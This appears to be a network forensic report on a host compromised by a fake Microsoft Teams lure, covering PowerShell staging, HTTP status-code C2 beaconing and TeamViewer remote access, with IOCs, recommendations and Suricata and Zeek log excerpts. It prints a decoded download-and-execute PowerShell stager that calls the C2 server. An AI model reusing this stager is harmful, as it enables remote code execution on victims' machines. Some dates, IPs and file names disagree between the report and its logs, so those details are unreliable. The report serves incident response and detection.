

Network Forensic Analysis: Obfuscated PowerShell

Case Number: NFA001

Analyst Name: Andrew McKenzie

Date of Report: July 29, 2025

Contents

Executive Summary.....2

Detailed Timeline of Attack3

Technical Analysis & Key Findings.....4

 Obfuscated PowerShell Stager4

 Command & Control (C2) Heartbeat4

 Payload and Persistence5

Indicators of Compromise (IOCs)6

MITRE ATT&CK Framework Mapping7

Recommendations8

 Immediate Actions (Containment)8

 Mid-Term Actions (Hardening & Detection)8

 Long-Term Actions (Strategic)8

Appendix: Supporting Evidence..... 10

 Appendix A: Suricata Alerts (fast.log)..... 10

 Appendix B: Zeek HTTP Logs (http.log)..... 10

 Appendix C: File Identification and Script Contents..... 10

Executive Summary

On July 29, 2025, a network traffic analysis identified a successful intrusion and compromise of the host at **10.1.17.215**. The incident began at approximately 14:44 UTC. The threat actor utilized a multi-stage attack that started with a malicious PowerShell stager to establish a command and control (C2) channel with the server **5.252.153.241**.

Through this C2 channel, the attacker instructed the victim machine to download and execute a legitimate, older version of the TeamViewer remote access application. Analysis of network logs confirmed that the malware also established persistence by creating a startup shortcut, ensuring the remote access software would re-launch upon reboot. This "Living Off the Land" technique allowed the attacker to gain full, interactive remote access to the compromised host while bypassing security controls that might have blocked unknown malware.

Detailed Timeline of Attack

- **14:44:56 UTC - Initial Infection:** The C2 server (**5.252.153.241**) delivers a fake Microsoft Teams VBS payload to the victim host (**10.1.17.215**). At the same time, an obfuscated PowerShell stager command is received, which serves as the initial infection vector to kick off the attack.
 - **14:45:56 UTC - C2 Beaconsing:** Approximately one minute later, the script on the victim machine "calls home" to the C2 server (**5.252.153.241**), requesting its next set of instructions.
 - **14:47:01 UTC - Payload Delivery:** The C2 server responds to a beacon and delivers the main payload. Suricata alerts confirm that PowerShell's *DownloadString* and *DownloadFile* commands were used to fetch a Windows executable (PE) file.
 - **14:55:07 UTC - Remote Access Established:** Approximately eight minutes after the executable is downloaded, the victim host performs a DNS lookup for *teamviewer.com* and connects to a TeamViewer server (**185.188.32.26**). A *TeamViewer Dyngate User-Agent* alert confirms the downloaded executable was a TeamViewer client, giving the attacker remote control.
-

Technical Analysis & Key Findings

The investigation, combining Suricata's intrusion detection alerts with Zeek's detailed network logs, revealed the full lifecycle of the attack.

Obfuscated PowerShell Stager

The attack was initiated by a heavily obfuscated PowerShell script designed to hide its commands from basic security tools¹⁹. Once decoded, the script's function as a "downloader" or "stager" becomes clear.

Decoded Script (29842.ps1 and pas.ps1):

```
// The script first deletes any previous temporary file
$fso = New-Object -comObject 'Scripting.FileSystemObject';
if ($fso.FileExists($env:temp+'\'+tmp.ps1)) {
    $fso.DeleteFile($env:temp+'\'+tmp.ps1);
};

// It forces the connection to use TLS 1.2
[System.Net.ServicePointManager]::SecurityProtocol = 3072;
$cli = New-Object System.Net.WebClient;

// Spoofs a legitimate-looking User-Agent seen in the logs
$cli.Headers.Add('user-agent', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; ...');

// It downloads the next stage payload from the C2 server
$cli.DownloadFile('http://5.252.153.241/api/file/get-file/29842.ps1', $env:temp+'\'+tmp.ps1);

// It executes the downloaded script
& ($env:temp+'\'+tmp.ps1);
```

This script programmatically connects the initial intrusion to the C2 server, confirming the IP address and User-Agent seen in network logs and demonstrating the attacker's intent to execute further code.

Command & Control (C2) Heartbeat

The malware established a stealthy C2 channel using a "heartbeat" beacon to check for tasks.

- **The Beacon:** The victim host (**10.1.17.215**) sent a GET request to the C2 server's URI **/1517096937** approximately every 5 seconds.
- **The Signal:** The C2 server used HTTP status codes as a covert signaling channel.

- **HTTP 404 Not Found:** This response acted as the "no command" signal, instructing the malware to continue checking in.
- **HTTP 200 OK:** This response served as the "go" signal, instructing the malware to download and execute a new task.

Payload and Persistence

Following a *200 OK signal*, the host downloaded a file named TeamViewer, identified by Zeek as a 32-bit Windows executable (*application/x-dosexec*). After the remote access tool was running, the malware reported its success back to the C2 server via a specially crafted GET request, confirming that a startup shortcut was created for persistence.

...GET /1517096937?k=message=startup+shortcut+created;+status=success;...

This confirms the malware is configured to run automatically every time the computer reboots.

Indicators of Compromise (IOCs)

Type	Indicator	Source
IP Address	<i>5.252.153.241</i>	C2 Server
IP Address	<i>185.188.32.26</i>	TeamViewer Server
URI	<i>/api/file/get-file/29842.ps1</i>	PowerShell Stager
URI	<i>/1517096937</i>	C2 Beacon
File	<i>TeamViewer</i>	PE32 Executable
File	<i>pas.ps1</i>	PowerShell Downloader

MITRE ATT&CK Framework Mapping

The observed threat actor techniques map to the MITRE ATT&CK framework as follows:

- **T1071.001** (Web Protocols): C2 communication occurred entirely over HTTP.
 - **T1102.002** (Bidirectional Communication): The use of HTTP 404/200 status codes served as the C2 signaling mechanism.
 - **T1547.001** (Boot or Logon Autostart Execution): Persistence was achieved by creating a startup shortcut, as confirmed by the exfiltrated status message.
-

Recommendations

Immediate Actions (Containment)

These steps are designed to immediately stop the current attack and prevent further damage.

1. **Isolate the Host:** Disconnect the compromised machine (**10.1.17.215**) from the network immediately to prevent the attacker from moving laterally to other systems.
2. **Block Malicious IOCs:** At the network firewall, block all outbound connections to the identified C2 IP addresses: **5.252.153.241** and **185.188.32.26**.
3. **Reset Credentials:** Since the attacker gained interactive remote access via TeamViewer, all user credentials associated with the machine must be considered compromised. The user's password must be reset immediately.
4. **Re-image the Machine:** The compromised host cannot be trusted. After preserving a forensic image for further analysis, the machine must be wiped and re-imaged from a known-good corporate build.

Mid-Term Actions (Hardening & Detection)

1. **Deploy IOCs:** Create detection rules in your security tools (SIEM, EDR, IDS) for the identified file hashes, C2 URIs (/1517096937, etc.), and network user-agents.
2. **Restrict PowerShell:** The attack relied entirely on PowerShell to download and execute payloads. Implement a more restrictive PowerShell Execution Policy (e.g., AllSigned) on user workstations and enable enhanced script block and module logging for forensic visibility.
3. **Implement Application Control:** The attacker downloaded and ran an unauthorized version of TeamViewer. Use tools like AppLocker to create application allowlists that prevent unapproved executables from running. If TeamViewer is not approved corporate software, it should be explicitly blocked.

Long-Term Actions (Strategic)

1. **Enhance Email & Web Filtering:** The initial payload was likely delivered via phishing or a malicious download. Improve security gateway filtering to better detect and block malicious scripts (.vbs, .ps1) and known-bad domains.
2. **User Awareness Training:** Conduct security awareness training focused on identifying phishing attempts and the dangers of opening unsolicited attachments or clicking suspicious links.

3. **Review Egress Filtering:** The C2 traffic successfully exfiltrated data over standard HTTP. Review and strengthen firewall egress rules to limit which systems can communicate with the internet, potentially restricting traffic to known-good destinations.
-

Appendix: Supporting Evidence

Appendix A: Suricata Alerts (fast.log)

```
(root@kali) ~/Projects/network-traffic-analysis/bluemoontuesday-fake-software-download/data
# cat fast.log
01/22/2025-14:45:01.461801 [**] [1:2031071:15] ET INFO Microsoft Connection Test [**] [Classification: Misc activity] [Priority: 3] [TCP] 10.1.17.215:50807 → 23.220.102.9180
01/22/2025-14:45:58.939654 [**] [1:2031071:15] ET INFO PowerShell File Request [**] [Classification: Potentially Bad Traffic] [Priority: 2] [TCP] 10.1.17.215:50144 → 5.252.153.241:80
01/22/2025-14:45:58.939654 [**] [1:2059607:11] ET MALWARE Fake Microsoft Teams Cnc Payload Request (GET) [**] [Classification: Malware Command and Control Activity Detected] [Priority: 1] [TCP] 10.1.17.215:50144 → 5.252.153.241:80
01/22/2025-14:45:58.939654 [**] [1:2059607:11] ET MALWARE Fake Microsoft Teams Cnc Payload Request (GET) [**] [Classification: Malware Command and Control Activity Detected] [Priority: 1] [TCP] 10.1.17.215:50143 → 5.252.153.241:80
01/22/2025-14:45:58.939654 [**] [1:2062713:11] ET INFO Outbound UA-CPU Header [**] [Classification: Misc activity] [Priority: 3] [TCP] 10.1.17.215:50145 → 5.252.153.241:80
01/22/2025-14:47:01.683653 [**] [1:2031071:15] ET HUNTING Generic Powershell DownloadString Command [**] [Classification: Potentially Bad Traffic] [Priority: 2] [TCP] 5.252.153.241:80 → 10.1.17.215:50144
01/22/2025-14:47:01.683653 [**] [1:203170:11] ET HUNTING Generic Powershell DownloadFile Command [**] [Classification: Potentially Bad Traffic] [Priority: 2] [TCP] 5.252.153.241:80 → 10.1.17.215:50144
01/22/2025-14:47:02.886358 [**] [1:2010959:6] ET INFO PC exe or dll windows file download HTTP [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1] [TCP] 5.252.153.241:80 → 10.1.17.215:50144
01/22/2025-14:47:02.886358 [**] [1:2010959:6] ET INFO PC exe or dll windows file download HTTP [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1] [TCP] 5.252.153.241:80 → 10.1.17.215:50144
01/22/2025-14:47:02.886358 [**] [1:2010539:6] ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download [**] [Classification: Potentially Bad Traffic] [Priority: 2] [TCP] 5.252.153.241:80 → 10.1.17.215:50144
01/22/2025-14:47:02.886358 [**] [1:2021076:13] ET HUNTING SUSPICIOUS Dotted Quad Host M2 Response [**] [Classification: Potentially Bad Traffic] [Priority: 2] [TCP] 5.252.153.241:80 → 10.1.17.215:50144
01/22/2025-14:45:58.939654 [**] [1:2009475:13] ET INFO TeamViewer Dynatag User-Agent [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1] [TCP] 10.1.17.215:49693 → 185.188.32.26:80
01/22/2025-14:45:58.939654 [**] [1:2031071:15] ET INFO Microsoft Connection Test [**] [Classification: Misc activity] [Priority: 3] [TCP] 10.1.17.215:49672 → 23.205.118.19:80
01/22/2025-14:51:58.939654 [**] [1:2040630:11] ET HUNTING ACT155 Teamviewer 888 Domain (teamviewer.com) in DNS lookup [**] [Classification: Misc activity] [Priority: 3] [UDP] 10.1.17.215:51612 → 10.1.17.215:53
01/22/2025-14:59:46.284354 [**] [1:2408004:44:18] ET DROP Spanhaus DROP Listed Traffic Inbound group 5 [**] [Classification: Misc Attack] [Priority: 2] [TCP] 45.125.66.32:2917 → 10.1.17.215:49792
01/22/2025-14:47:05.679743 [**] [1:2031071:15] ET INFO PowerShell File Request [**] [Classification: Potentially Bad Traffic] [Priority: 2] [TCP] 10.1.17.215:50144 → 5.252.153.241:80
01/22/2025-15:00:13.124072 [**] [1:2408004:44:18] ET DROP Spanhaus DROP Listed Traffic Inbound group 5 [**] [Classification: Misc Attack] [Priority: 2] [TCP] 45.125.66.32:2917 → 10.1.17.215:49792
01/22/2025-15:04:24.461385 [**] [1:2014619:15] ET INFO Packed Executable Download [**] [Classification: Misc activity] [Priority: 3] [TCP] 199.232.214.172:80 → 10.1.17.215:49836
01/22/2025-14:44:56.530137 [**] [1:2059608:11] ET MALWARE Fake Microsoft Teams VBS Payload Inbound [**] [Classification: Malware Command and Control Activity Detected] [Priority: 1] [TCP] 5.252.153.241:80 → 10.1.17.215:50143
01/22/2025-14:44:56.530137 [**] [1:2020988:15] ET ATTACK RESPONSE PowerShell NotProfile Command Received In Powershell Stagers [**] [Classification: Potentially Bad Traffic] [Priority: 2] [TCP] 5.252.153.241:80 → 10.1.17.215:50143
```

Appendix B: Zeek HTTP Logs (http.log)

```
(root@kali) ~/Projects/network-traffic-analysis/bluemoontuesday-fake-software-download/data
# cat http.log
01/22/2025-14:45:01.461801 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50143 0.252.153.241 80 1 GET 0.252.153.241 /api/file/get-file/26A072 - 1.1 - 0 1512 200 OK - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 1 GET 0.252.153.241 /api/file/get-file/29862.psl - 1.1 - 0 1512 200 OK - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 2 GET 0.252.153.241 /1517096937 - 1.1 - 0 9 404 Not Found - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 3 GET 0.252.153.241 /1517096937 - 1.1 - 0 9 404 Not Found - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 4 GET 0.252.153.241 /1517096937 - 1.1 - 0 9 404 Not Found - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 5 GET 0.252.153.241 /1517096937 - 1.1 - 0 9 404 Not Found - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 6 GET 0.252.153.241 /1517096937 - 1.1 - 0 9 404 Not Found - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 7 GET 0.252.153.241 /1517096937 - 1.1 - 0 9 404 Not Found - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 8 GET 0.252.153.241 /1517096937 - 1.1 - 0 9 404 Not Found - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 9 GET 0.252.153.241 /1517096937 - 1.1 - 0 9 404 Not Found - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 10 GET 0.252.153.241 /1517096937 - 1.1 - 0 9 404 Not Found - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 11 GET 0.252.153.241 /1517096937 - 1.1 - 0 9 404 Not Found - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 12 GET 0.252.153.241 /1517096937 - 1.1 - 0 9 404 Not Found - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 13 GET 0.252.153.241 /1517096937 - 1.1 - 0 9 404 Not Found - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 14 GET 0.252.153.241 /1517096937 - 1.1 - 0 2761 200 OK - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 15 GET 0.252.153.241 /api/file/get-file/TeamViewer - 1.1 - 0 438968 200 OK - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 16 GET 0.252.153.241 /api/file/get-file/TeamViewer_Resource_fr - 1.1 - 0 668968 2000 OK - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 17 GET 0.252.153.241 /api/file/get-file/TV - 1.1 - 0 12920 200 OK - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 18 GET 0.252.153.241 /api/file/get-file/pas.psl - 1.1 - 0 1553 200 OK - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 19 GET 0.252.153.241 /1517096937?k=message + startup shortcut created; status = success; - 1.1 - 0 - - - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 20 GET 0.252.153.241 /1517096937 - 1.1 - 0 9 404 Not Found - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 21 GET 0.252.153.241 /1517096937 - 1.1 - 0 9 404 Not Found - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 22 GET 0.252.153.241 /1517096937 - 1.1 - 0 9 404 Not Found - - (empty)
01/22/2025-14:45:58.939654 C:\Program Files\TeamViewer\TeamViewer.exe 10.1.17.215 50144 0.252.153.241 80 23 GET 0.252.153.241 /1517096937 - 1.1 - 0 9 404 Not Found - - (empty)
```

Appendix C: File Identification and Script Contents

```
(root@kali) ~/Projects/network-traffic-analysis/bluemoontuesday-fake-software-download/data
# file TeamViewer
TeamViewer: PE32 executable for MS Windows 4.00 (GUI), Intel i386, 5 sections

121 6
#
```

11